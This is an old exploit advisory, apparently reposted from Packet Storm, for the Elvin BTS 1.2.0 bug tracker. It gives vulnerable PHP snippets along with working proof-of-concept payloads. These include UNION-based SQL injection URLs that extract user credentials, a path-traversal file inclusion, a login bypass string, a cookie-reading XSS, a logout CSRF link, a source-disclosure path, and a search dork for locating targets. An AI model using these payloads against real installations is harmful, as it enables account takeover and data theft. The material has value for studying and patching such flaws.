Lucene search
K

Elvin BTS 1.2.0 XSS / LFI / SQL Injection

🗓️ 15 Jun 2009 00:00:00Reported by SirGodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Elvin BTS 1.2.0 Multiple Remote Vulnerabilities Discovere

Code
`#################################################################################################################  
[+] Elvin BTS 1.2.0 Multiple Remote VUlnerabilities  
[+] Discovered By SirGod   
[+] www.mortal-team.org  
#################################################################################################################  
  
- Script Homepage : http://www.elvinbts.org/  
- Google Dork : Powered by Elvin Bug Tracking Server.  
  
Elvin BTS suffers from a lot of vunerabilities  
  
1) SQL Injection  
2) Local File Inclusion  
3) SQL Injection Login Bypass  
4) Cross-Site Scripting  
5) Cross-Site Request Forgery  
6) Source Code Disclosure  
  
  
----------------------- 1) SQL Injection -----------------------   
  
- Vulnerable code is everywhere.I will present only 2 PoC's.  
  
a) Vulnerable code in show_bug.php  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
$query_bug = sprintf("SELECT * FROM " .$prefix_db. "_bug WHERE bg_id_pk=" .$_GET['id']. " AND bg_deleted_dt IS NULL");  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
- PoC   
  
http://127.0.0.1/[path]/show_bug.php?id=null+union+all+select+1,2,3,4,concat_ws(0x3a,ac_user_vc,ac_pass_vc),6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+eb_profile--  
  
b) Vulnerable code in show_activity.php  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
$query_activity = sprintf("SELECT * FROM " .$prefix_db. "_activity WHERE ay_bugid_fk=" .$_GET['id']. "");  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
- PoC   
  
http://127.0.0.1/[path]/show_activity.php?id=null+union+all+select+1,2,3,4,concat_ws(0x3a,ac_user_vc,ac_pass_vc),6,7,8+from+eb_profile--  
  
  
----------------------- 2) Local File Inclusion -----------------------   
  
- Vulnerable code in page.php  
  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
$filename = "pages/".$_GET['id'];  
................................................  
if(file_exists($filename)){  
include($filename);  
} else {  
echo "<h2>Sorry page cannot be found!</h2>";  
}  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
- PoC   
  
http://127.0.0.1/[path]/page.php?id=../../../../../../BOOTSECT.BAK  
  
  
  
----------------------- 3) SQL Injection Login Bypass-----------------------   
  
- Code in login.php ( in login.php is included the vulnerable code)  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
include(LoadElvinModule('login.ei'));  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
  
- Vulnerable code in inc/login.ei  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
$query_login = sprintf("SELECT * FROM " .$prefix_db. "_profile WHERE ac_user_vc='" .$_POST['inUser']. "' AND ac_pass_vc='" .$_POST['inPass']. "'");  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
- PoC   
  
Login as :  
  
Username : 'or''='  
Password : 'or''='  
  
  
----------------------- 4) Cross-Site Scripting-----------------------   
  
It's more XSS's in the script,but tired to find them all.  
  
- Vulnerable code in show_activity.php  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
<p>Back to bug # <a href="show_bug.php?id=<?php echo $_GET['id']; ?>"><?php echo $_GET['id']; ?></a></a></p>  
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
- PoC  
  
http://127.0.0.1/[path]/show_activity.php?id=<script>alert(document.cookie)</script>  
  
  
  
----------------------- 5) Cross-Site Request Forgery-----------------------   
  
Logout CSRF  
  
- PoC  
  
http://127.0.0.1/[path]/login.php?logout  
  
  
  
----------------------- 6) Source Code Disclosure-----------------------   
  
Go to /inc/ directory.You will se .ei files with php code inside.  
That files are included and used by the script.  
  
- PoC's  
  
http://127.0.0.1/[path]/inc/login.ei  
http://127.0.0.1/[path]/inc/jump_bug.ei  
http://127.0.0.1/[path]/inc/create_account.ei  
  
Etc..  
  
############################################### EOF ##################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation